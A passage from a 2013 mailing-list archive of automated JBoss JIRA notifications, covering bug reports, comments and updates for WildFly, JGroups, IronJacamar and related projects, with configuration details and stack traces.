Message-ID: <JIRA.12501689.1380242025643.3299.1380242042564@jira02.app.mwc.hst.phx2.redhat.com>

James Perkins created LOGMGR-83:
-----------------------------------

             Summary: Handlers should be closed on rollbacks
                 Key: LOGMGR-83
                 URL: https://issues.jboss.org/browse/LOGMGR-83
             Project: JBoss Log Manager
          Issue Type: Bug
      Security Level: Public (Everyone can see)
            Reporter: James Perkins
            Assignee: James Perkins
             Fix For: 1.3.3.Final, 1.4.4.Final, 1.5.2.Final, 2.0.0.Beta1


Some handlers, like file handlers, might hold resources that need to be closed if a rollback occurs during configuration. The {{handler.close()}} should be invoked for this reason and any errors should be ignored.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 26 21:28:02 2013
From: jira-events at lists.jboss.org (James Perkins (JIRA))
Date: Thu, 26 Sep 2013 21:28:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (LOGMGR-83) Handlers should be closed on
	rollbacks
In-Reply-To: <JIRA.12501689.1380242025000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501689.1380242025000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501689.1380242025000.3324.1380245282626@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/LOGMGR-83?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12807771#comment-12807771 ] 

James Perkins edited comment on LOGMGR-83 at 9/26/13 9:27 PM:
--------------------------------------------------------------

Seems safe to cherry-pick on to other branches, but I'm noticing some issues with the other branches I'll sort out tomorrow.
                
      was (Author: jamezp):
    Seems safe to cherry-pick on to other branches, but I'm noticing some issues I'll sort out tomorrow.
                  
> Handlers should be closed on rollbacks
> --------------------------------------
>
>                 Key: LOGMGR-83
>                 URL: https://issues.jboss.org/browse/LOGMGR-83
>             Project: JBoss Log Manager
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>            Reporter: James Perkins
>            Assignee: James Perkins
>             Fix For: 1.3.3.Final, 1.4.4.Final, 1.5.2.Final, 2.0.0.Beta1
>
>
> Some handlers, like file handlers, might hold resources that need to be closed if a rollback occurs during configuration. The {{handler.close()}} should be invoked for this reason and any errors should be ignored.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 26 22:23:02 2013
From: jira-events at lists.jboss.org (Lin Gao (JIRA))
Date: Thu, 26 Sep 2013 22:23:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JBJCA-1086) ant -Das=true clean jars
	failed
In-Reply-To: <JIRA.12501690.1380248503550@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501690.1380248503550@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501690.1380248503550.3357.1380248582595@jira02.app.mwc.hst.phx2.redhat.com>

Lin Gao created JBJCA-1086:
------------------------------

             Summary: ant -Das=true clean jars failed 
                 Key: JBJCA-1086
                 URL: https://issues.jboss.org/browse/JBJCA-1086
             Project: IronJacamar
          Issue Type: Bug
          Components: Build
            Reporter: Lin Gao
            Assignee: Lin Gao




--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 26 22:31:02 2013
From: jira-events at lists.jboss.org (Bernd Nigmann (JIRA))
Date: Thu, 26 Sep 2013 22:31:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2169) Add support to change various
 Undertow options through WildFly in standalone.xml
In-Reply-To: <JIRA.12501691.1380249028293@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501691.1380249028293@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501691.1380249028293.3360.1380249062591@jira02.app.mwc.hst.phx2.redhat.com>

Bernd Nigmann created WFLY-2169:
-----------------------------------

             Summary: Add support to change various Undertow options through WildFly in standalone.xml
                 Key: WFLY-2169
                 URL: https://issues.jboss.org/browse/WFLY-2169
             Project: WildFly
          Issue Type: Feature Request
          Components: Web (Undertow)
    Affects Versions: 8.0.0.Alpha4
         Environment: Ubuntu 12.04 LTS, openjdk-7-jdk-7u25-2.3.10-1ubuntu0.12.04.2
            Reporter: Bernd Nigmann
            Assignee: Stuart Douglas


Undertow's default for the maximum number of HTTP parameter it parses in a GET or POST is 1000:
{noformat}
15:05:41,276 ERROR [io.undertow.request] (default task-17)
   Servlet request failed HttpServerExchange{ POST /***/*******/****}:
   java.lang.IllegalStateException: UT000047: The number of
   parameters exceeded the maximum of 1000
{noformat}
In the Undertow sources (https://github.com/undertow-io/undertow/blob/master/core/src/main/java/io/undertow/UndertowOptions.java), I found this to be a configurable option: "{{MAX_PARAMETERS}}".

Please allow changing some of these Undertow options through the WildFly {{standalone.xml}}. Tomaz Cerar asked me to create a ticket for this, based on the referenced forum thread.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 26 23:31:02 2013
From: jira-events at lists.jboss.org (Lin Gao (JIRA))
Date: Thu, 26 Sep 2013 23:31:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JBJCA-1085) Generate aggregated javadoc
In-Reply-To: <JIRA.12501583.1380176984000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501583.1380176984000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501583.1380176984000.3369.1380252662588@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/JBJCA-1085?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Lin Gao updated JBJCA-1085:
---------------------------

    Git Pull Request: https://github.com/ironjacamar/ironjacamar/pull/78

    
> Generate aggregated javadoc
> ---------------------------
>
>                 Key: JBJCA-1085
>                 URL: https://issues.jboss.org/browse/JBJCA-1085
>             Project: IronJacamar
>          Issue Type: Task
>            Reporter: Lin Gao
>            Assignee: Lin Gao
>
> Discussion at: https://groups.google.com/forum/#!topic/ironjacamar-developers/vjBJqmT07o8
> There would be 3 bundles
> All API / SPI packages
> Everything with as=false
> Everything with as=true

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 26 23:33:02 2013
From: jira-events at lists.jboss.org (Lin Gao (JIRA))
Date: Thu, 26 Sep 2013 23:33:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JBJCA-1086) ant -Das=true clean jars
	failed
In-Reply-To: <JIRA.12501690.1380248503000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501690.1380248503000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501690.1380248503000.3372.1380252782590@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/JBJCA-1086?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Lin Gao updated JBJCA-1086:
---------------------------

    Git Pull Request: https://github.com/ironjacamar/ironjacamar/pull/77

    
> ant -Das=true clean jars failed 
> --------------------------------
>
>                 Key: JBJCA-1086
>                 URL: https://issues.jboss.org/browse/JBJCA-1086
>             Project: IronJacamar
>          Issue Type: Bug
>          Components: Build
>            Reporter: Lin Gao
>            Assignee: Lin Gao
>


--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 27 01:24:02 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Fri, 27 Sep 2013 01:24:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1916) Deployer role within domain
In-Reply-To: <JIRA.12499073.1377090124000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499073.1377090124000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499073.1377090124000.3434.1380259442650@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1916?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12807791#comment-12807791 ] 

RH Bugzilla Integration commented on WFLY-1916:
-----------------------------------------------

Heiko Braun <hbraun at redhat.com> made a comment on [bug 1012592|https://bugzilla.redhat.com/show_bug.cgi?id=1012592]

Why do you think it's the opposite of WFLY-1916?
                
> Deployer role within domain
> ---------------------------
>
>                 Key: WFLY-1916
>                 URL: https://issues.jboss.org/browse/WFLY-1916
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Domain Management
>            Reporter: Heiko Braun
>            Assignee: Brian Stansberry
>             Fix For: 8.0.0.Beta1
>
>
> There seems to be a problem with the deplyer role within the domain. In order to operate on doamin deployments, the deplyer requires write access to:
> a) /server-group=*
> b) /deployment=*
> But currently only the later seems to be given. This basically reduces the deployer role to just the abillity to upload contents, but not assign them to server-groups.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 27 02:25:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Fri, 27 Sep 2013 02:25:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1776) resource-adapter id attribute
 is forced to match rar name
In-Reply-To: <JIRA.12497520.1375113090000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12497520.1375113090000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12497520.1375113090000.3445.1380263103126@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1776?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12807793#comment-12807793 ] 

RH Bugzilla Integration commented on WFLY-1776:
-----------------------------------------------

Vladimir Rastseluev <vrastsel at redhat.com> changed the Status of [bug 996971|https://bugzilla.redhat.com/show_bug.cgi?id=996971] from ON_QA to VERIFIED
                
> resource-adapter id attribute is forced to match rar name
> ---------------------------------------------------------
>
>                 Key: WFLY-1776
>                 URL: https://issues.jboss.org/browse/WFLY-1776
>             Project: WildFly
>          Issue Type: Bug
>          Components: JCA
>    Affects Versions: 8.0.0.Alpha3
>            Reporter: Johnathon Lee
>            Assignee: Stefano Maestri
>         Attachments: JBJCA-1066-reproducer.zip
>
>
> If the id of the resource adapter element does not match the name of the
> RAR file, the CLI will throw the following error on RA activation:
> {
>     "outcome" => "failed",
>     "failure-description" => "rar not yet deployed",
>     "rolled-back" => true
> }

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 27 02:25:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Fri, 27 Sep 2013 02:25:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1776) resource-adapter id attribute
 is forced to match rar name
In-Reply-To: <JIRA.12497520.1375113090000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12497520.1375113090000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12497520.1375113090000.3451.1380263103554@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1776?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12807794#comment-12807794 ] 

RH Bugzilla Integration commented on WFLY-1776:
-----------------------------------------------

Vladimir Rastseluev <vrastsel at redhat.com> made a comment on [bug 996971|https://bugzilla.redhat.com/show_bug.cgi?id=996971]

Verified on EAP 6.2.0 ER3
                
> resource-adapter id attribute is forced to match rar name
> ---------------------------------------------------------
>
>                 Key: WFLY-1776
>                 URL: https://issues.jboss.org/browse/WFLY-1776
>             Project: WildFly
>          Issue Type: Bug
>          Components: JCA
>    Affects Versions: 8.0.0.Alpha3
>            Reporter: Johnathon Lee
>            Assignee: Stefano Maestri
>         Attachments: JBJCA-1066-reproducer.zip
>
>
> If the id of the resource adapter element does not match the name of the
> RAR file, the CLI will throw the following error on RA activation:
> {
>     "outcome" => "failed",
>     "failure-description" => "rar not yet deployed",
>     "rolled-back" => true
> }

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 27 02:27:02 2013
From: jira-events at lists.jboss.org (Ivo Studensky (JIRA))
Date: Fri, 27 Sep 2013 02:27:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2168) Forward port
 urn:jboss:domain:transactions:1.4 schema and parser from EAP 6
In-Reply-To: <JIRA.12501686.1380231821000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501686.1380231821000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501686.1380231821000.3455.1380263222642@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2168?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12807795#comment-12807795 ] 

Ivo Studensky commented on WFLY-2168:
-------------------------------------

A new XSD had been firstly introduced in WildFly by WFLY-789 as a {{urn:jboss:domain:transactions:2.0}} which was then backported to EAP as a {{urn:jboss:domain:transactions:1.4}}. The change was the same, the only difference was in the version of that schema. See the discussion on the WildFly's PR for details.
                
> Forward port urn:jboss:domain:transactions:1.4 schema and parser from EAP 6
> ---------------------------------------------------------------------------
>
>                 Key: WFLY-2168
>                 URL: https://issues.jboss.org/browse/WFLY-2168
>             Project: WildFly
>          Issue Type: Task
>          Components: Domain Management, Transactions
>            Reporter: Brian Stansberry
>            Assignee: Ivo Studensky
>            Priority: Blocker
>             Fix For: 8.0.0.CR1
>
>
> The backport of WFLY-789 introduced a new XSD version in EAP that does not exist in WildFly. It needs to be forward ported to WildFly.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 27 02:46:03 2013
From: jira-events at lists.jboss.org (Joe Wertz (JIRA))
Date: Fri, 27 Sep 2013 02:46:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2170) Intermittent failure in
 ReloadWSDLPublisherTestCase
In-Reply-To: <JIRA.12501697.1380264273370@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501697.1380264273370@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501697.1380264273370.3458.1380264363099@jira02.app.mwc.hst.phx2.redhat.com>

Joe Wertz created WFLY-2170:
-------------------------------

             Summary: Intermittent failure in ReloadWSDLPublisherTestCase
                 Key: WFLY-2170
                 URL: https://issues.jboss.org/browse/WFLY-2170
             Project: WildFly
          Issue Type: Bug
    Affects Versions: 8.0.0.Alpha4
            Reporter: Joe Wertz
            Assignee: Joe Wertz
            Priority: Minor
             Fix For: 8.0.0.Beta1


Intermittent failure reconnecting to the server after it is restarted.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 27 02:53:02 2013
From: jira-events at lists.jboss.org (Bela Ban (JIRA))
Date: Fri, 27 Sep 2013 02:53:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1706) Build process: publish
 artifact to Nexus via ant+ivy
In-Reply-To: <JIRA.12501699.1380264757920@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501699.1380264757920@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501699.1380264757920.3465.1380264782495@jira02.app.mwc.hst.phx2.redhat.com>

Bela Ban created JGRP-1706:
------------------------------

             Summary: Build process: publish artifact to Nexus via ant+ivy
                 Key: JGRP-1706
                 URL: https://issues.jboss.org/browse/JGRP-1706
             Project: JGroups
          Issue Type: Enhancement
            Reporter: Bela Ban
            Assignee: Bela Ban
            Priority: Optional
             Fix For: 3.5


Add publish and publish-local tasks to build.xml to publish the artifacts (JAR, soirce-JAR and readme) to Nexus or the local repo.
Linke by Sanne: http://books.sonatype.com/nexus-book/reference/staging-sect-deployment.html#staging-sect-deployment-nexus-staging-ant-tasks

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 27 03:11:02 2013
From: jira-events at lists.jboss.org (Bela Ban (JIRA))
Date: Fri, 27 Sep 2013 03:11:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1707) MergeView: marshalling fails
 when subgroups are not a subset of members
In-Reply-To: <JIRA.12501700.1380265774886@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501700.1380265774886@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501700.1380265774886.3473.1380265862574@jira02.app.mwc.hst.phx2.redhat.com>

Bela Ban created JGRP-1707:
------------------------------

             Summary: MergeView: marshalling fails when subgroups are not a subset of members
                 Key: JGRP-1707
                 URL: https://issues.jboss.org/browse/JGRP-1707
             Project: JGroups
          Issue Type: Bug
            Reporter: Bela Ban
            Assignee: Bela Ban
             Fix For: 3.4


When we have 2 partitions \{A,B,C\} and \{X,Y,Z\} and they merge, but one of the members (e.g. Z) is excluded from the merge (e.g. because it is involved in a different merge already), we create the following MergeView:
{noformat}
MergeView:
view={A,B,C,X,Y}
subgroups={A,B,C} {X,Y,Z}
{noformat}
Because the members of the subgroups refer to the merge view via index, the index for Z is -1, and thus - when unmarshalled - Z points to a null creator, which triggers the following stack trace:
{noformat}
00631037-49819: failed handling incoming message
java.lang.IllegalArgumentException: creator cannot be null
        at org.jgroups.ViewId.<init>(ViewId.java:32)
        at org.jgroups.ViewId.<init>(ViewId.java:42)
        at org.jgroups.View.create(View.java:90)
        at org.jgroups.MergeView.readFrom(MergeView.java:119)
        at org.jgroups.protocols.pbcast.GMS$GmsHeader.readFrom(GMS.java:1285)
        at org.jgroups.Message.readHeader(Message.java:889)
        at org.jgroups.Message.readFrom(Message.java:803)
        at org.jgroups.protocols.TP.readMessageBatch(TP.java:1796)
        at org.jgroups.protocols.TP.receive(TP.java:1463)
        at org.jgroups.protocols.UDP$PacketReceiver.run(UDP.java:683)
        at java.lang.Thread.run(Unknown Source) 
{noformat}

SOLUTION:
* When marshalling a MergeView, and a subgroup member has no corresponding member in {{members}}, then send the *address* instead of the index
* OR: remove all members from subgroups which are not in {{members}}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 27 03:29:02 2013
From: jira-events at lists.jboss.org (Carlo de Wolf (JIRA))
Date: Fri, 27 Sep 2013 03:29:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (EJBTHREE-2261) Allow application
 exceptions to be defined when using the throws clause.
In-Reply-To: <JIRA.12441815.1310733277000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12441815.1310733277000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12441815.1310733277000.3543.1380266942770@jira02.app.mwc.hst.phx2.redhat.com>

An HTML attachment was scrubbed...
URL: http://lists.jboss.org/pipermail/jboss-jira/attachments/20130927/cf223aa7/attachment.html 

From jira-events at lists.jboss.org  Fri Sep 27 03:29:02 2013
From: jira-events at lists.jboss.org (Carlo de Wolf (JIRA))
Date: Fri, 27 Sep 2013 03:29:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (EJBTHREE-2261) Allow application
 exceptions to be defined when using the throws clause.
In-Reply-To: <JIRA.12441815.1310733277000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12441815.1310733277000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12441815.1310733277000.3548.1380266942950@jira02.app.mwc.hst.phx2.redhat.com>

An HTML attachment was scrubbed...
URL: http://lists.jboss.org/pipermail/jboss-jira/attachments/20130927/3570792f/attachment.html 

From jira-events at lists.jboss.org  Fri Sep 27 03:57:02 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Fri, 27 Sep 2013 03:57:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-78) Intermittent failures in
	RespawnTestCase
In-Reply-To: <JIRA.12483133.1358904844000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12483133.1358904844000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12483133.1358904844000.3632.1380268622706@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-78?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12807819#comment-12807819 ] 

RH Bugzilla Integration commented on WFLY-78:
---------------------------------------------

Ivo Studensky <istudens at redhat.com> made a comment on [bug 1012809|https://bugzilla.redhat.com/show_bug.cgi?id=1012809]

Description of problem:
Intermittent failures still happen within EAP PR testing. 
This is a backport of WFLY-78 to EAP 6.2.
                
> Intermittent failures in RespawnTestCase
> ----------------------------------------
>
>                 Key: WFLY-78
>                 URL: https://issues.jboss.org/browse/WFLY-78
>             Project: WildFly
>          Issue Type: Bug
>          Components: Domain Management
>            Reporter: Brian Stansberry
>            Assignee: Emanuel Muckenhuber
>             Fix For: 8.0.0.Alpha1
>
>
> Problems like [1] still pop up fairly frequently. It seems the same 3 tests fail.
> Failed tests:   testReloadHcButNotServers(org.jboss.as.test.integration.respawn.RespawnTestCase)
> testReloadHcButNotServersWithFailedServer(org.jboss.as.test.integration.respawn.RespawnTestCase)  testHCReloadAbortPreservesServers(org.jboss.as.test.integration.respawn.RespawnTestCase)
> [1] http://lightning.mw.lab.eng.bos.redhat.com/jenkins/job/as7-master-ignore/327/

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 27 03:57:02 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Fri, 27 Sep 2013 03:57:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-78) Intermittent failures in
	RespawnTestCase
In-Reply-To: <JIRA.12483133.1358904844000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12483133.1358904844000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12483133.1358904844000.3637.1380268622882@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-78?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

RH Bugzilla Integration updated WFLY-78:
----------------------------------------

        Bugzilla Update: Perform
    Bugzilla References: https://bugzilla.redhat.com/show_bug.cgi?id=1012809

    
> Intermittent failures in RespawnTestCase
> ----------------------------------------
>
>                 Key: WFLY-78
>                 URL: https://issues.jboss.org/browse/WFLY-78
>             Project: WildFly
>          Issue Type: Bug
>          Components: Domain Management
>            Reporter: Brian Stansberry
>            Assignee: Emanuel Muckenhuber
>             Fix For: 8.0.0.Alpha1
>
>
> Problems like [1] still pop up fairly frequently. It seems the same 3 tests fail.
> Failed tests:   testReloadHcButNotServers(org.jboss.as.test.integration.respawn.RespawnTestCase)
> testReloadHcButNotServersWithFailedServer(org.jboss.as.test.integration.respawn.RespawnTestCase)  testHCReloadAbortPreservesServers(org.jboss.as.test.integration.respawn.RespawnTestCase)
> [1] http://lightning.mw.lab.eng.bos.redhat.com/jenkins/job/as7-master-ignore/327/

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 27 03:59:02 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Fri, 27 Sep 2013 03:59:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-78) Intermittent failures in
	RespawnTestCase
In-Reply-To: <JIRA.12483133.1358904844000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12483133.1358904844000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12483133.1358904844000.3640.1380268742534@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-78?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12807820#comment-12807820 ] 

RH Bugzilla Integration commented on WFLY-78:
---------------------------------------------

Ivo Studensky <istudens at redhat.com> changed the Status of [bug 1012809|https://bugzilla.redhat.com/show_bug.cgi?id=1012809] from NEW to ASSIGNED
                
> Intermittent failures in RespawnTestCase
> ----------------------------------------
>
>                 Key: WFLY-78
>                 URL: https://issues.jboss.org/browse/WFLY-78
>             Project: WildFly
>          Issue Type: Bug
>          Components: Domain Management
>            Reporter: Brian Stansberry
>            Assignee: Emanuel Muckenhuber
>             Fix For: 8.0.0.Alpha1
>
>
> Problems like [1] still pop up fairly frequently. It seems the same 3 tests fail.
> Failed tests:   testReloadHcButNotServers(org.jboss.as.test.integration.respawn.RespawnTestCase)
> testReloadHcButNotServersWithFailedServer(org.jboss.as.test.integration.respawn.RespawnTestCase)  testHCReloadAbortPreservesServers(org.jboss.as.test.integration.respawn.RespawnTestCase)
> [1] http://lightning.mw.lab.eng.bos.redhat.com/jenkins/job/as7-master-ignore/327/

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 27 04:31:02 2013
From: jira-events at lists.jboss.org (Emmanuel Hugonnet (JIRA))
Date: Fri, 27 Sep 2013 04:31:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1791) Unable to use Filter
 Expressions in filter-spec
In-Reply-To: <JIRA.12497707.1375289900000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12497707.1375289900000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12497707.1375289900000.3701.1380270662687@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1791?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12807827#comment-12807827 ] 

Emmanuel Hugonnet commented on WFLY-1791:
-----------------------------------------

The argument values are parsed a second time which means that the escaped char have been unescaped.
Changing this in the PR: https://github.com/wildfly/wildfly/pull/5159
                
>  Unable to use Filter Expressions in filter-spec
> ------------------------------------------------
>
>                 Key: WFLY-1791
>                 URL: https://issues.jboss.org/browse/WFLY-1791
>             Project: WildFly
>          Issue Type: Bug
>          Components: CLI
>            Reporter: Emmanuel Hugonnet
>            Assignee: Alexey Loubyansky
>            Priority: Minor
>


--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 27 04:31:03 2013
From: jira-events at lists.jboss.org (Jozef Hartinger (JIRA))
Date: Fri, 27 Sep 2013 04:31:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2165) Error Weld when starting
 WildFly 8 with Spring 3 - NullPointerException
In-Reply-To: <JIRA.12499612.1377777774000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499612.1377777774000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499612.1377777774000.3706.1380270663017@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2165?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Jozef Hartinger reassigned WFLY-2165:
-------------------------------------

    Assignee: Jozef Hartinger  (was: Matus Abaffy)

    
> Error Weld when starting WildFly 8 with Spring 3 - NullPointerException
> -----------------------------------------------------------------------
>
>                 Key: WFLY-2165
>                 URL: https://issues.jboss.org/browse/WFLY-2165
>             Project: WildFly
>          Issue Type: Bug
>          Components: CDI / Weld
>            Reporter: Raul Abreu Leite
>            Assignee: Jozef Hartinger
>            Priority: Critical
>             Fix For: 8.0.0.Beta1
>
>
> When I update my application, from Jboss-as 7.1.1.Final to Wildfly 8.0.0.Alpha4, there was an error that I can not fix.
> {code:java}
> 19:57:20,955 ERROR [org.jboss.msc.service.fail] (MSC service thread 1-2) MSC000001: Failed to start service jboss.deployment.unit."cineserver.war".component."org.springframework.web.context.request.async.StandardServletAsyncWebRequest".WeldInstantiator: org.jboss.msc.service.StartException in service jboss.deployment.unit."cineserver.war".component."org.springframework.web.context.request.async.StandardServletAsyncWebRequest".WeldInstantiator: Failed to start service
>     at org.jboss.msc.service.ServiceControllerImpl$StartTask.run(ServiceControllerImpl.java:1900) [jboss-msc-1.2.0.Beta2.jar:1.2.0.Beta2]
>     at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) [rt.jar:1.7.0_25]
>     at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) [rt.jar:1.7.0_25]
